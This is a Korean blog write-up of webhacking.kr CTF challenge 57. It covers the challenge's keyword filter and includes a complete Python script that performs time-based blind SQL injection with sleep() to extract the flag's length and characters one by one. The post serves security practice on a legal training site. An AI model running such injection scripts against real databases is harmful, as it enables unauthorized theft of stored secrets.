WEB/webhacking.kr (old)

webhacking.kr 57번

hongjw 2020. 3. 29. 22:07

challenge 57 첫화면

view-source 클릭 ~!

isset() : 변수가 존재하면 true, 존재하지 않으면 false 리턴

$_GET['se']에는 select, and, or, not &, |, benchmark가 있으면 Access Denied가 출력된다.

$_SESSION['id'], $_GET['msg'], $flag, $_GET['se']는 각각 chall57테이블의 id, msg, pw, op 칼럼의 값으로 삽입된다.

 

일단 문제를 풀기 위해서는 $flag값인 pw를 알아내야할 것같다.

msg와 se에 이것저것 입력해봤지만 다른 오류메세지 없이 Done으로 출력된다.

따라서 출력값으로 반응을 보지않고, sleep함수를 이용해 반응속도(?)로 참인지 거짓인지 확인해야할 것같다 ʕ•̀ω•́ʔ

 

다음은 flag길이와 flag값을 알아내는 코드이다.

(비트로 변환해서 비교하려고 했지만 왜인지 Access Denied가 출력되어서 아스키코드로 비교했당)

import requests
import urllib3
import time
import string

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url     = "https://webhacking.kr/challenge/web-34/index.php?msg=hi&se="
headers = { "Cookie" : "내 세션값"}
proxies = { "http" : "http://127.0.0.1:8888",
			"https": "https://127.0.0.1:8888" }

#GET length of pw
for i in range(50):
	payload	= "if(length(pw)={},sleep(5),1)".format(i)
 	request_tm = time.time()
 	res 	= requests.get(url=url+payload, headers=headers, proxies=proxies, verify=False)

 	if "Done" in res.text:
 		response_tm = time.time()

 	tm = response_tm - request_tm

 	if tm >= 5:
 		pwLen = i
 		break
 	else:
 		pass

 print("pw Length : ", i)	#24


#GET flag
fLen	= 24
flag 	= ""

for f in range(1,fLen+1):
	for num in range(33,127):
		payload = "if(ascii(substr(pw,{},1))={},sleep(5),1)".format(f,num)
		request_tm = time.time()
		res 	= requests.get(url=url+payload, headers=headers, proxies=proxies, verify=False)

		if "Done" in res.text:
			response_tm = time.time()
		
		tm = response_tm - request_tm

		if tm >= 5:
			flag += chr(num)
			print("Found word : ", flag)
			break
		else:
			pass

print("Found flag : ", flag)

 

'WEB > webhacking.kr (old)' 카테고리의 다른 글

webhacking.kr 5번  (0) 2020.04.05
webhacking.kr 33번  (0) 2020.04.04
webhacking.kr 45번  (0) 2020.03.22
webhacking.kr 30번  (1) 2020.03.21
webhacking.kr 44번  (0) 2020.03.19